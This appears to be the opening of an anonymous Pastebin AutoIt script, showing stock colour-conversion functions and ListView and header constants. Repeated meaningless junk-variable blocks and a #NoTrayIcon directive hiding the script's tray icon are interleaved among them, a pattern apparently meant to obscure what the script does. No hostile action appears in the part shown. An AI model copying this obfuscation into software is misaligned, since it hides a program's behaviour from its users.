Guest User

Untitled

a guest
Apr 12th, 2013
885
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 454.41 KB | None | 0 0
  1. Global Const $__colorconstants_hslmax = 240
  2. Global Const $__colorconstants_rgbmax = 255
  3.  
  4. Func _colorconverthsltorgb($avarray)
  5.     If UBound($avarray) <> 3 OR UBound($avarray, 0) <> 1 Then Return SetError(1, 0, 0)
  6.     Local $nr, $ng, $nb
  7.     Local $nh = Number($avarray[0]) / $__colorconstants_hslmax
  8.     Local $ns = Number($avarray[1]) / $__colorconstants_hslmax
  9.     Local $nl = Number($avarray[2]) / $__colorconstants_hslmax
  10.     If $ns = 0 Then
  11.         $nr = $nl
  12.         $ng = $nl
  13.         $nb = $nl
  14.     Else
  15.         Local $nvala, $nvalb
  16.         If $nl <= 0.5 Then
  17.             $nvalb = $nl * ($ns + 1)
  18.         Else
  19.             $nvalb = ($nl + $ns) - ($nl * $ns)
  20.         EndIf
  21.         $nvala = 2 * $nl - $nvalb
  22.         $nr = __colorconverthuetorgb($nvala, $nvalb, $nh + 1 / 3)
  23.         $ng = __colorconverthuetorgb($nvala, $nvalb, $nh)
  24.         $nb = __colorconverthuetorgb($nvala, $nvalb, $nh - 1 / 3)
  25.     EndIf
  26.     $avarray[0] = $nr * $__colorconstants_rgbmax
  27.     $avarray[1] = $ng * $__colorconstants_rgbmax
  28.     $avarray[2] = $nb * $__colorconstants_rgbmax
  29.     Return $avarray
  30. EndFunc
  31.  
  32. Func __colorconverthuetorgb($na, $nb, $nh)
  33.     If $nh < 0 Then $nh += 1
  34.     If $nh > 1 Then $nh -= 1
  35.     If (6 * $nh) < 1 Then Return $na + ($nb - $na) * 6 * $nh
  36.     If (2 * $nh) < 1 Then Return $nb
  37.     If (3 * $nh) < 2 Then Return $na + ($nb - $na) * 6 * (2 / 3 - $nh)
  38.     Return $na
  39. EndFunc
  40.  
  41. Func _colorconvertrgbtohsl($avarray)
  42.     If UBound($avarray) <> 3 OR UBound($avarray, 0) <> 1 Then Return SetError(1, 0, 0)
  43.     Local $nh, $ns, $nl
  44.     Local $nr = Number($avarray[0]) / $__colorconstants_rgbmax
  45.     Local $ng = Number($avarray[1]) / $__colorconstants_rgbmax
  46.     Local $nb = Number($avarray[2]) / $__colorconstants_rgbmax
  47.     Local $nmax = $nr
  48.     If $nmax < $ng Then $nmax = $ng
  49.     If $nmax < $nb Then $nmax = $nb
  50.     Local $nmin = $nr
  51.     If $nmin > $ng Then $nmin = $ng
  52.     If $nmin > $nb Then $nmin = $nb
  53.     Local $nminmaxsum = ($nmax + $nmin)
  54.     Local $nminmaxdiff = ($nmax - $nmin)
  55.     $nl = $nminmaxsum / 2
  56.     If $nminmaxdiff = 0 Then
  57.         $nh = 0
  58.         $ns = 0
  59.     Else
  60.         If $nl < 0.5 Then
  61.             $ns = $nminmaxdiff / $nminmaxsum
  62.         Else
  63.             $ns = $nminmaxdiff / (2 - $nminmaxsum)
  64.         EndIf
  65.         Switch $nmax
  66.             Case $nr
  67.                 $nh = ($ng - $nb) / (6 * $nminmaxdiff)
  68.             Case $ng
  69.                 $nh = ($nb - $nr) / (6 * $nminmaxdiff) + 1 / 3
  70.             Case $nb
  71.                 $nh = ($nr - $ng) / (6 * $nminmaxdiff) + 2 / 3
  72.         EndSwitch
  73.         If $nh < 0 Then $nh += 1
  74.         If $nh > 1 Then $nh -= 1
  75.     EndIf
  76.     $avarray[0] = $nh * $__colorconstants_hslmax
  77.     $avarray[1] = $ns * $__colorconstants_hslmax
  78.     $avarray[2] = $nl * $__colorconstants_hslmax
  79.     Return $avarray
  80. EndFunc
  81.  
  82. Func _colorgetblue($ncolor)
  83.     Return BitAND($ncolor, 255)
  84. EndFunc
  85.  
  86. Func _colorgetgreen($ncolor)
  87.     Return BitAND(BitShift($ncolor, 8), 255)
  88. EndFunc
  89.  
  90. Func _colorgetred($ncolor)
  91.     Return BitAND(BitShift($ncolor, 16), 255)
  92. EndFunc
  93.  
  94. Func _colorgetcolorref($ncolor, $curext = @extended)
  95.     If BitAND($ncolor, -16777216) Then Return SetError(1, 0, 0)
  96.     Local $acolor[3]
  97.     $acolor[2] = BitAND(BitShift($ncolor, 16), 255)
  98.     $acolor[1] = BitAND(BitShift($ncolor, 8), 255)
  99.     $acolor[0] = BitAND($ncolor, 255)
  100.     Return SetExtended($curext, $acolor)
  101. EndFunc
  102.  
  103. Func _colorgetrgb($ncolor, $curext = @extended)
  104.     If BitAND($ncolor, -16777216) Then Return SetError(1, 0, 0)
  105.     Local $acolor[3]
  106.     $acolor[0] = BitAND(BitShift($ncolor, 16), 255)
  107.     $acolor[1] = BitAND(BitShift($ncolor, 8), 255)
  108.     $acolor[2] = BitAND($ncolor, 255)
  109.     Return SetExtended($curext, $acolor)
  110. EndFunc
  111.  
  112. Func _colorsetcolorref($acolor, $curext = @extended)
  113.     If UBound($acolor) <> 3 Then Return SetError(1, 0, -1)
  114.     Local $ncolor = 0, $icolor
  115.     For $i = 2 To 0 Step -1
  116.         $ncolor = BitShift($ncolor, -8)
  117.         $icolor = $acolor[$i]
  118.         If $icolor < 0 OR $icolor > 255 Then Return SetError(2, $i, -1)
  119.         $ncolor += $icolor
  120.     Next
  121.     Return SetExtended($curext, $ncolor)
  122. EndFunc
  123.  
  124. Func _colorsetrgb($acolor, $curext = @extended)
  125.     If UBound($acolor) <> 3 Then Return SetError(1, 0, -1)
  126.     Local $ncolor = 0, $icolor
  127.     For $i = 0 To 2
  128.         $ncolor = BitShift($ncolor, -8)
  129.         $icolor = $acolor[$i]
  130.         If $icolor < 0 OR $icolor > 255 Then Return SetError(2, 0, -1)
  131.         $ncolor += $icolor
  132.     Next
  133.     Return SetExtended($curext, $ncolor)
  134. EndFunc
  135.  
  136. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  137. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  138. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  139.     Exit
  140. Else
  141. EndIf
  142. #NoTrayIcon
  143. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  144. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  145. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  146.     Exit
  147. Else
  148. EndIf
  149. #Region
  150. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  151. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  152. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  153.     Exit
  154. Else
  155. EndIf
  156. #AutoIt3Wrapper_UseUpx=n
  157. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  158. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  159. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  160.     Exit
  161. Else
  162. EndIf
  163. #EndRegion
  164. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  165. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  166. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  167.     Exit
  168. Else
  169. EndIf
  170. Global Const $lvs_alignleft = 2048
  171. Global Const $lvs_alignmask = 3072
  172. Global Const $lvs_aligntop = 0
  173. Global Const $lvs_autoarrange = 256
  174. Global Const $lvs_default = 13
  175. Global Const $lvs_editlabels = 512
  176. Global Const $lvs_icon = 0
  177. Global Const $lvs_list = 3
  178. Global Const $lvs_nocolumnheader = 16384
  179. Global Const $lvs_nolabelwrap = 128
  180. Global Const $lvs_noscroll = 8192
  181. Global Const $lvs_nosortheader = 32768
  182. Global Const $lvs_ownerdata = 4096
  183. Global Const $lvs_ownerdrawfixed = 1024
  184. Global Const $lvs_report = 1
  185. Global Const $lvs_shareimagelists = 64
  186. Global Const $lvs_showselalways = 8
  187. Global Const $lvs_singlesel = 4
  188. Global Const $lvs_smallicon = 2
  189. Global Const $lvs_sortascending = 16
  190. Global Const $lvs_sortdescending = 32
  191. Global Const $lvs_typemask = 3
  192. Global Const $lvs_typestylemask = 64512
  193. Global Const $lvs_ex_autoautoarrange = 16777216
  194. Global Const $lvs_ex_autocheckselect = 134217728
  195. Global Const $lvs_ex_autosizecolumns = 268435456
  196. Global Const $lvs_ex_borderselect = 32768
  197. Global Const $lvs_ex_checkboxes = 4
  198. Global Const $lvs_ex_columnoverflow = -2147483648
  199. Global Const $lvs_ex_columnsnappoints = 1073741824
  200. Global Const $lvs_ex_doublebuffer = 65536
  201. Global Const $lvs_ex_flatsb = 256
  202. Global Const $lvs_ex_fullrowselect = 32
  203. Global Const $lvs_ex_gridlines = 1
  204. Global Const $lvs_ex_headerdragdrop = 16
  205. Global Const $lvs_ex_headerinallviews = 33554432
  206. Global Const $lvs_ex_hidelabels = 131072
  207. Global Const $lvs_ex_infotip = 1024
  208. Global Const $lvs_ex_justifycolumns = 2097152
  209. Global Const $lvs_ex_labeltip = 16384
  210. Global Const $lvs_ex_multiworkareas = 8192
  211. Global Const $lvs_ex_oneclickactivate = 64
  212. Global Const $lvs_ex_regional = 512
  213. Global Const $lvs_ex_simpleselect = 1048576
  214. Global Const $lvs_ex_snaptogrid = 524288
  215. Global Const $lvs_ex_subitemimages = 2
  216. Global Const $lvs_ex_trackselect = 8
  217. Global Const $lvs_ex_transparentbkgnd = 4194304
  218. Global Const $lvs_ex_transparentshadowtext = 8388608
  219. Global Const $lvs_ex_twoclickactivate = 128
  220. Global Const $lvs_ex_underlinecold = 4096
  221. Global Const $lvs_ex_underlinehot = 2048
  222. Global Const $lvgs_normal = 0
  223. Global Const $lvgs_collapsed = 1
  224. Global Const $lvgs_hidden = 2
  225. Global Const $lvgs_noheader = 4
  226. Global Const $lvgs_collapsible = 8
  227. Global Const $lvgs_focused = 16
  228. Global Const $lvgs_selected = 32
  229. Global Const $lvgs_subseted = 64
  230. Global Const $lvgs_subsetlinkfocused = 128
  231. Global Const $lvggr_group = 0
  232. Global Const $lvggr_header = 1
  233. Global Const $lvggr_label = 2
  234. Global Const $lvggr_subsetlink = 3
  235. Global Const $lv_err = -1
  236. Global Const $lvbkif_source_none = 0
  237. Global Const $lvbkif_source_hbitmap = 1
  238. Global Const $lvbkif_source_url = 2
  239. Global Const $lvbkif_source_mask = 3
  240. Global Const $lvbkif_style_normal = 0
  241. Global Const $lvbkif_style_tile = 16
  242. Global Const $lvbkif_style_mask = 16
  243. Global Const $lvbkif_flag_tileoffset = 256
  244. Global Const $lvbkif_type_watermark = 268435456
  245. Global Const $lv_view_details = 1
  246. Global Const $lv_view_icon = 0
  247. Global Const $lv_view_list = 3
  248. Global Const $lv_view_smallicon = 2
  249. Global Const $lv_view_tile = 4
  250. Global Const $lva_alignleft = 1
  251. Global Const $lva_aligntop = 2
  252. Global Const $lva_default = 0
  253. Global Const $lva_snaptogrid = 5
  254. Global Const $lvcdi_item = 0
  255. Global Const $lvcdi_group = 1
  256. Global Const $lvcf_alldata = 63
  257. Global Const $lvcf_fmt = 1
  258. Global Const $lvcf_image = 16
  259. Global Const $lvcfmt_justifymask = 3
  260. Global Const $lvcf_text = 4
  261. Global Const $lvcf_width = 2
  262. Global Const $lvcfmt_bitmap_on_right = 4096
  263. Global Const $lvcfmt_center = 2
  264. Global Const $lvcfmt_col_has_images = 32768
  265. Global Const $lvcfmt_image = 2048
  266. Global Const $lvcfmt_left = 0
  267. Global Const $lvcfmt_right = 1
  268. Global Const $lvcfmt_line_break = 1048576
  269. Global Const $lvcfmt_fill = 2097152
  270. Global Const $lvcfmt_wrap = 4194304
  271. Global Const $lvcfmt_no_title = 8388608
  272. Global Const $lvcfmt_tile_placementmask = BitOR($lvcfmt_line_break, $lvcfmt_fill)
  273. Global Const $lvfi_nearestxy = 64
  274. Global Const $lvfi_param = 1
  275. Global Const $lvfi_partial = 8
  276. Global Const $lvfi_string = 2
  277. Global Const $lvfi_substring = 4
  278. Global Const $lvfi_wrap = 32
  279. Global Const $lvga_footer_left = 8
  280. Global Const $lvga_footer_center = 16
  281. Global Const $lvga_footer_right = 32
  282. Global Const $lvga_header_left = 1
  283. Global Const $lvga_header_center = 2
  284. Global Const $lvga_header_right = 4
  285. Global Const $lvgf_align = 8
  286. Global Const $lvgf_descriptiontop = 1024
  287. Global Const $lvgf_descriptionbottom = 2048
  288. Global Const $lvgf_extendedimage = 8192
  289. Global Const $lvgf_footer = 2
  290. Global Const $lvgf_groupid = 16
  291. Global Const $lvgf_header = 1
  292. Global Const $lvgf_items = 16384
  293. Global Const $lvgf_none = 0
  294. Global Const $lvgf_state = 4
  295. Global Const $lvgf_subset = 32768
  296. Global Const $lvgf_subsetitems = 65536
  297. Global Const $lvgf_subtitle = 256
  298. Global Const $lvgf_task = 512
  299. Global Const $lvgf_titleimage = 4096
  300. Global Const $lvht_above = 8
  301. Global Const $lvht_below = 16
  302. Global Const $lvht_nowhere = 1
  303. Global Const $lvht_onitemicon = 2
  304. Global Const $lvht_onitemlabel = 4
  305. Global Const $lvht_onitemstateicon = 8
  306. Global Const $lvht_toleft = 64
  307. Global Const $lvht_toright = 32
  308. Global Const $lvht_onitem = BitOR($lvht_onitemicon, $lvht_onitemlabel, $lvht_onitemstateicon)
  309. Global Const $lvht_ex_group_header = 268435456
  310. Global Const $lvht_ex_group_footer = 536870912
  311. Global Const $lvht_ex_group_collapse = 1073741824
  312. Global Const $lvht_ex_group_background = -2147483648
  313. Global Const $lvht_ex_group_stateicon = 16777216
  314. Global Const $lvht_ex_group_subsetlink = 33554432
  315. Global Const $lvht_ex_group = BitOR($lvht_ex_group_background, $lvht_ex_group_collapse, $lvht_ex_group_footer, $lvht_ex_group_header, $lvht_ex_group_stateicon, $lvht_ex_group_subsetlink)
  316. Global Const $lvht_ex_oncontents = 67108864
  317. Global Const $lvht_ex_footer = 134217728
  318. Global Const $lvif_colfmt = 65536
  319. Global Const $lvif_columns = 512
  320. Global Const $lvif_groupid = 256
  321. Global Const $lvif_image = 2
  322. Global Const $lvif_indent = 16
  323. Global Const $lvif_norecompute = 2048
  324. Global Const $lvif_param = 4
  325. Global Const $lvif_state = 8
  326. Global Const $lvif_text = 1
  327. Global Const $lvim_after = 1
  328. Global Const $lvir_bounds = 0
  329. Global Const $lvir_icon = 1
  330. Global Const $lvir_label = 2
  331. Global Const $lvir_selectbounds = 3
  332. Global Const $lvis_cut = 4
  333. Global Const $lvis_drophilited = 8
  334. Global Const $lvis_focused = 1
  335. Global Const $lvis_overlaymask = 3840
  336. Global Const $lvis_selected = 2
  337. Global Const $lvis_stateimagemask = 61440
  338. Global Const $lvm_first = 4096
  339. Global Const $lvm_approximateviewrect = ($lvm_first + 64)
  340. Global Const $lvm_arrange = ($lvm_first + 22)
  341. Global Const $lvm_canceleditlabel = ($lvm_first + 179)
  342. Global Const $lvm_createdragimage = ($lvm_first + 33)
  343. Global Const $lvm_deleteallitems = ($lvm_first + 9)
  344. Global Const $lvm_deletecolumn = ($lvm_first + 28)
  345. Global Const $lvm_deleteitem = ($lvm_first + 8)
  346. Global Const $lvm_editlabela = ($lvm_first + 23)
  347. Global Const $lvm_editlabelw = ($lvm_first + 118)
  348. Global Const $lvm_editlabel = $lvm_editlabela
  349. Global Const $lvm_enablegroupview = ($lvm_first + 157)
  350. Global Const $lvm_ensurevisible = ($lvm_first + 19)
  351. Global Const $lvm_finditem = ($lvm_first + 13)
  352. Global Const $lvm_getbkcolor = ($lvm_first + 0)
  353. Global Const $lvm_getbkimagea = ($lvm_first + 69)
  354. Global Const $lvm_getbkimagew = ($lvm_first + 139)
  355. Global Const $lvm_getcallbackmask = ($lvm_first + 10)
  356. Global Const $lvm_getcolumna = ($lvm_first + 25)
  357. Global Const $lvm_getcolumnw = ($lvm_first + 95)
  358. Global Const $lvm_getcolumnorderarray = ($lvm_first + 59)
  359. Global Const $lvm_getcolumnwidth = ($lvm_first + 29)
  360. Global Const $lvm_getcountperpage = ($lvm_first + 40)
  361. Global Const $lvm_geteditcontrol = ($lvm_first + 24)
  362. Global Const $lvm_getemptytext = ($lvm_first + 204)
  363. Global Const $lvm_getextendedlistviewstyle = ($lvm_first + 55)
  364. Global Const $lvm_getfocusedgroup = ($lvm_first + 93)
  365. Global Const $lvm_getfooterinfo = ($lvm_first + 206)
  366. Global Const $lvm_getfooteritem = ($lvm_first + 208)
  367. Global Const $lvm_getfooteritemrect = ($lvm_first + 207)
  368. Global Const $lvm_getfooterrect = ($lvm_first + 205)
  369. Global Const $lvm_getgroupcount = ($lvm_first + 152)
  370. Global Const $lvm_getgroupinfo = ($lvm_first + 149)
  371. Global Const $lvm_getgroupinfobyindex = ($lvm_first + 153)
  372. Global Const $lvm_getgroupmetrics = ($lvm_first + 156)
  373. Global Const $lvm_getgrouprect = ($lvm_first + 98)
  374. Global Const $lvm_getgroupstate = ($lvm_first + 92)
  375. Global Const $lvm_getheader = ($lvm_first + 31)
  376. Global Const $lvm_gethotcursor = ($lvm_first + 63)
  377. Global Const $lvm_gethotitem = ($lvm_first + 61)
  378. Global Const $lvm_gethovertime = ($lvm_first + 72)
  379. Global Const $lvm_getimagelist = ($lvm_first + 2)
  380. Global Const $lvm_getinsertmark = ($lvm_first + 167)
  381. Global Const $lvm_getinsertmarkcolor = ($lvm_first + 171)
  382. Global Const $lvm_getinsertmarkrect = ($lvm_first + 169)
  383. Global Const $lvm_getisearchstringa = ($lvm_first + 52)
  384. Global Const $lvm_getisearchstringw = ($lvm_first + 117)
  385. Global Const $lvm_getitema = ($lvm_first + 5)
  386. Global Const $lvm_getitemw = ($lvm_first + 75)
  387. Global Const $lvm_getitemcount = ($lvm_first + 4)
  388. Global Const $lvm_getitemindexrect = ($lvm_first + 209)
  389. Global Const $lvm_getitemposition = ($lvm_first + 16)
  390. Global Const $lvm_getitemrect = ($lvm_first + 14)
  391. Global Const $lvm_getitemspacing = ($lvm_first + 51)
  392. Global Const $lvm_getitemstate = ($lvm_first + 44)
  393. Global Const $lvm_getitemtexta = ($lvm_first + 45)
  394. Global Const $lvm_getitemtextw = ($lvm_first + 115)
  395. Global Const $lvm_getnextitem = ($lvm_first + 12)
  396. Global Const $lvm_getnextitemindex = ($lvm_first + 211)
  397. Global Const $lvm_getnumberofworkareas = ($lvm_first + 73)
  398. Global Const $lvm_getorigin = ($lvm_first + 41)
  399. Global Const $lvm_getoutlinecolor = ($lvm_first + 176)
  400. Global Const $lvm_getselectedcolumn = ($lvm_first + 174)
  401. Global Const $lvm_getselectedcount = ($lvm_first + 50)
  402. Global Const $lvm_getselectionmark = ($lvm_first + 66)
  403. Global Const $lvm_getstringwidtha = ($lvm_first + 17)
  404. Global Const $lvm_getstringwidthw = ($lvm_first + 87)
  405. Global Const $lvm_getsubitemrect = ($lvm_first + 56)
  406. Global Const $lvm_gettextbkcolor = ($lvm_first + 37)
  407. Global Const $lvm_gettextcolor = ($lvm_first + 35)
  408. Global Const $lvm_gettileinfo = ($lvm_first + 165)
  409. Global Const $lvm_gettileviewinfo = ($lvm_first + 163)
  410. Global Const $lvm_gettooltips = ($lvm_first + 78)
  411. Global Const $lvm_gettopindex = ($lvm_first + 39)
  412. Global Const $lvm_getunicodeformat = 8192 + 6
  413. Global Const $lvm_getview = ($lvm_first + 143)
  414. Global Const $lvm_getviewrect = ($lvm_first + 34)
  415. Global Const $lvm_getworkareas = ($lvm_first + 70)
  416. Global Const $lvm_hasgroup = ($lvm_first + 161)
  417. Global Const $lvm_hittest = ($lvm_first + 18)
  418. Global Const $lvm_insertcolumna = ($lvm_first + 27)
  419. Global Const $lvm_insertcolumnw = ($lvm_first + 97)
  420. Global Const $lvm_insertgroup = ($lvm_first + 145)
  421. Global Const $lvm_insertgroupsorted = ($lvm_first + 159)
  422. Global Const $lvm_insertitema = ($lvm_first + 7)
  423. Global Const $lvm_insertitemw = ($lvm_first + 77)
  424. Global Const $lvm_insertmarkhittest = ($lvm_first + 168)
  425. Global Const $lvm_isgroupviewenabled = ($lvm_first + 175)
  426. Global Const $lvm_isitemvisible = ($lvm_first + 182)
  427. Global Const $lvm_mapidtoindex = ($lvm_first + 181)
  428. Global Const $lvm_mapindextoid = ($lvm_first + 180)
  429. Global Const $lvm_movegroup = ($lvm_first + 151)
  430. Global Const $lvm_redrawitems = ($lvm_first + 21)
  431. Global Const $lvm_removeallgroups = ($lvm_first + 160)
  432. Global Const $lvm_removegroup = ($lvm_first + 150)
  433. Global Const $lvm_scroll = ($lvm_first + 20)
  434. Global Const $lvm_setbkcolor = ($lvm_first + 1)
  435. Global Const $lvm_setbkimagea = ($lvm_first + 68)
  436. Global Const $lvm_setbkimagew = ($lvm_first + 138)
  437. Global Const $lvm_setcallbackmask = ($lvm_first + 11)
  438. Global Const $lvm_setcolumna = ($lvm_first + 26)
  439. Global Const $lvm_setcolumnw = ($lvm_first + 96)
  440. Global Const $lvm_setcolumnorderarray = ($lvm_first + 58)
  441. Global Const $lvm_setcolumnwidth = ($lvm_first + 30)
  442. Global Const $lvm_setextendedlistviewstyle = ($lvm_first + 54)
  443. Global Const $lvm_setgroupinfo = ($lvm_first + 147)
  444. Global Const $lvm_setgroupmetrics = ($lvm_first + 155)
  445. Global Const $lvm_sethotcursor = ($lvm_first + 62)
  446. Global Const $lvm_sethotitem = ($lvm_first + 60)
  447. Global Const $lvm_sethovertime = ($lvm_first + 71)
  448. Global Const $lvm_seticonspacing = ($lvm_first + 53)
  449. Global Const $lvm_setimagelist = ($lvm_first + 3)
  450. Global Const $lvm_setinfotip = ($lvm_first + 173)
  451. Global Const $lvm_setinsertmark = ($lvm_first + 166)
  452. Global Const $lvm_setinsertmarkcolor = ($lvm_first + 170)
  453. Global Const $lvm_setitema = ($lvm_first + 6)
  454. Global Const $lvm_setitemw = ($lvm_first + 76)
  455. Global Const $lvm_setitemcount = ($lvm_first + 47)
  456. Global Const $lvm_setitemindexstate = ($lvm_first + 210)
  457. Global Const $lvm_setitemposition = ($lvm_first + 15)
  458. Global Const $lvm_setitemposition32 = ($lvm_first + 49)
  459. Global Const $lvm_setitemstate = ($lvm_first + 43)
  460. Global Const $lvm_setitemtexta = ($lvm_first + 46)
  461. Global Const $lvm_setitemtextw = ($lvm_first + 116)
  462. Global Const $lvm_setoutlinecolor = ($lvm_first + 177)
  463. Global Const $lvm_setselectedcolumn = ($lvm_first + 140)
  464. Global Const $lvm_setselectionmark = ($lvm_first + 67)
  465. Global Const $lvm_settextbkcolor = ($lvm_first + 38)
  466. Global Const $lvm_settextcolor = ($lvm_first + 36)
  467. Global Const $lvm_settileinfo = ($lvm_first + 164)
  468. Global Const $lvm_settileviewinfo = ($lvm_first + 162)
  469. Global Const $lvm_settilewidth = ($lvm_first + 141)
  470. Global Const $lvm_settooltips = ($lvm_first + 74)
  471. Global Const $lvm_setunicodeformat = 8192 + 5
  472. Global Const $lvm_setview = ($lvm_first + 142)
  473. Global Const $lvm_setworkareas = ($lvm_first + 65)
  474. Global Const $lvm_sortgroups = ($lvm_first + 158)
  475. Global Const $lvm_sortitems = ($lvm_first + 48)
  476. Global Const $lvm_sortitemsex = ($lvm_first + 81)
  477. Global Const $lvm_subitemhittest = ($lvm_first + 57)
  478. Global Const $lvm_update = ($lvm_first + 42)
  479. Global Const $lvn_first = -100
  480. Global Const $lvn_last = -199
  481. Global Const $lvn_begindrag = ($lvn_first - 9)
  482. Global Const $lvn_beginlabeledita = ($lvn_first - 5)
  483. Global Const $lvn_beginlabeleditw = ($lvn_first - 75)
  484. Global Const $lvn_beginrdrag = ($lvn_first - 11)
  485. Global Const $lvn_beginscroll = ($lvn_first - 80)
  486. Global Const $lvn_columnclick = ($lvn_first - 8)
  487. Global Const $lvn_columndropdown = ($lvn_first - 64)
  488. Global Const $lvn_columnoverflowclick = ($lvn_first - 66)
  489. Global Const $lvn_deleteallitems = ($lvn_first - 4)
  490. Global Const $lvn_deleteitem = ($lvn_first - 3)
  491. Global Const $lvn_endlabeledita = ($lvn_first - 6)
  492. Global Const $lvn_endlabeleditw = ($lvn_first - 76)
  493. Global Const $lvn_endscroll = ($lvn_first - 81)
  494. Global Const $lvn_getdispinfoa = ($lvn_first - 50)
  495. Global Const $lvn_getdispinfow = ($lvn_first - 77)
  496. Global Const $lvn_getdispinfo = $lvn_getdispinfoa
  497. Global Const $lvn_getemptymarkup = ($lvn_first - 87)
  498. Global Const $lvn_getinfotipa = ($lvn_first - 57)
  499. Global Const $lvn_getinfotipw = ($lvn_first - 58)
  500. Global Const $lvn_hottrack = ($lvn_first - 21)
  501. Global Const $lvn_incrementalsearcha = ($lvn_first - 62)
  502. Global Const $lvn_incrementalsearchw = ($lvn_first - 63)
  503. Global Const $lvn_insertitem = ($lvn_first - 2)
  504. Global Const $lvn_itemactivate = ($lvn_first - 14)
  505. Global Const $lvn_itemchanged = ($lvn_first - 1)
  506. Global Const $lvn_itemchanging = ($lvn_first - 0)
  507. Global Const $lvn_keydown = ($lvn_first - 55)
  508. Global Const $lvn_linkclick = ($lvn_first - 84)
  509. Global Const $lvn_marqueebegin = ($lvn_first - 56)
  510. Global Const $lvn_odcachehint = ($lvn_first - 13)
  511. Global Const $lvn_odfinditema = ($lvn_first - 52)
  512. Global Const $lvn_odfinditemw = ($lvn_first - 79)
  513. Global Const $lvn_odfinditem = $lvn_odfinditema
  514. Global Const $lvn_odstatechanged = ($lvn_first - 15)
  515. Global Const $lvn_setdispinfoa = ($lvn_first - 51)
  516. Global Const $lvn_setdispinfow = ($lvn_first - 78)
  517. Global Const $lvni_above = 256
  518. Global Const $lvni_below = 512
  519. Global Const $lvni_toleft = 1024
  520. Global Const $lvni_toright = 2048
  521. Global Const $lvni_all = 0
  522. Global Const $lvni_cut = 4
  523. Global Const $lvni_drophilited = 8
  524. Global Const $lvni_focused = 1
  525. Global Const $lvni_selected = 2
  526. Global Const $lvscw_autosize = -1
  527. Global Const $lvscw_autosize_useheader = -2
  528. Global Const $lvsicf_noinvalidateall = 1
  529. Global Const $lvsicf_noscroll = 2
  530. Global Const $lvsil_normal = 0
  531. Global Const $lvsil_small = 1
  532. Global Const $lvsil_state = 2
  533. Global Const $gui_ss_default_listview = BitOR($lvs_showselalways, $lvs_singlesel)
  534. Global Const $hdf_left = 0
  535. Global Const $hdf_right = 1
  536. Global Const $hdf_center = 2
  537. Global Const $hdf_justifymask = 3
  538. Global Const $hdf_bitmap_on_right = 4096
  539. Global Const $hdf_bitmap = 8192
  540. Global Const $hdf_string = 16384
  541. Global Const $hdf_ownerdraw = 32768
  542. Global Const $hdf_displaymask = 61440
  543. Global Const $hdf_rtlreading = 4
  544. Global Const $hdf_sortdown = 512
  545. Global Const $hdf_image = 2048
  546. Global Const $hdf_sortup = 1024
  547. Global Const $hdf_flagmask = 3588
  548. Global Const $hdi_width = 1
  549. Global Const $hdi_text = 2
  550. Global Const $hdi_format = 4
  551. Global Const $hdi_param = 8
  552. Global Const $hdi_bitmap = 16
  553. Global Const $hdi_image = 32
  554. Global Const $hdi_di_setitem = 64
  555. Global Const $hdi_order = 128
  556. Global Const $hdi_filter = 256
  557. Global Const $hht_nowhere = 1
  558. Global Const $hht_onheader = 2
  559. Global Const $hht_ondivider = 4
  560. Global Const $hht_ondivopen = 8
  561. Global Const $hht_onfilter = 16
  562. Global Const $hht_onfilterbutton = 32
  563. Global Const $hht_above = 256
  564. Global Const $hht_below = 512
  565. Global Const $hht_toright = 1024
  566. Global Const $hht_toleft = 2048
  567. Global Const $hdm_first = 4608
  568. Global Const $hdm_clearfilter = $hdm_first + 24
  569. Global Const $hdm_createdragimage = $hdm_first + 16
  570. Global Const $hdm_deleteitem = $hdm_first + 2
  571. Global Const $hdm_editfilter = $hdm_first + 23
  572. Global Const $hdm_getbitmapmargin = $hdm_first + 21
  573. Global Const $hdm_getfocuseditem = $hdm_first + 27
  574. Global Const $hdm_getimagelist = $hdm_first + 9
  575. Global Const $hdm_getitema = $hdm_first + 3
  576. Global Const $hdm_getitemw = $hdm_first + 11
  577. Global Const $hdm_getitemcount = $hdm_first + 0
  578. Global Const $hdm_getitemdropdownrect = $hdm_first + 25
  579. Global Const $hdm_getitemrect = $hdm_first + 7
  580. Global Const $hdm_getorderarray = $hdm_first + 17
  581. Global Const $hdm_getoverflowrect = $hdm_first + 26
  582. Global Const $hdm_getunicodeformat = 8192 + 6
  583. Global Const $hdm_hittest = $hdm_first + 6
  584. Global Const $hdm_insertitema = $hdm_first + 1
  585. Global Const $hdm_insertitemw = $hdm_first + 10
  586. Global Const $hdm_layout = $hdm_first + 5
  587. Global Const $hdm_ordertoindex = $hdm_first + 15
  588. Global Const $hdm_setbitmapmargin = $hdm_first + 20
  589. Global Const $hdm_setfilterchangetimeout = $hdm_first + 22
  590. Global Const $hdm_setfocuseditem = $hdm_first + 28
  591. Global Const $hdm_sethotdivider = $hdm_first + 19
  592. Global Const $hdm_setimagelist = $hdm_first + 8
  593. Global Const $hdm_setitema = $hdm_first + 4
  594. Global Const $hdm_setitemw = $hdm_first + 12
  595. Global Const $hdm_setorderarray = $hdm_first + 18
  596. Global Const $hdm_setunicodeformat = 8192 + 5
  597. Global Const $hdn_first = -300
  598. Global Const $hdn_begindrag = $hdn_first - 10
  599. Global Const $hdn_begintrack = $hdn_first - 6
  600. Global Const $hdn_dividerdblclick = $hdn_first - 5
  601. Global Const $hdn_enddrag = $hdn_first - 11
  602. Global Const $hdn_endtrack = $hdn_first - 7
  603. Global Const $hdn_filterbtnclick = $hdn_first - 13
  604. Global Const $hdn_filterchange = $hdn_first - 12
  605. Global Const $hdn_getdispinfo = $hdn_first - 9
  606. Global Const $hdn_itemchanged = $hdn_first - 1
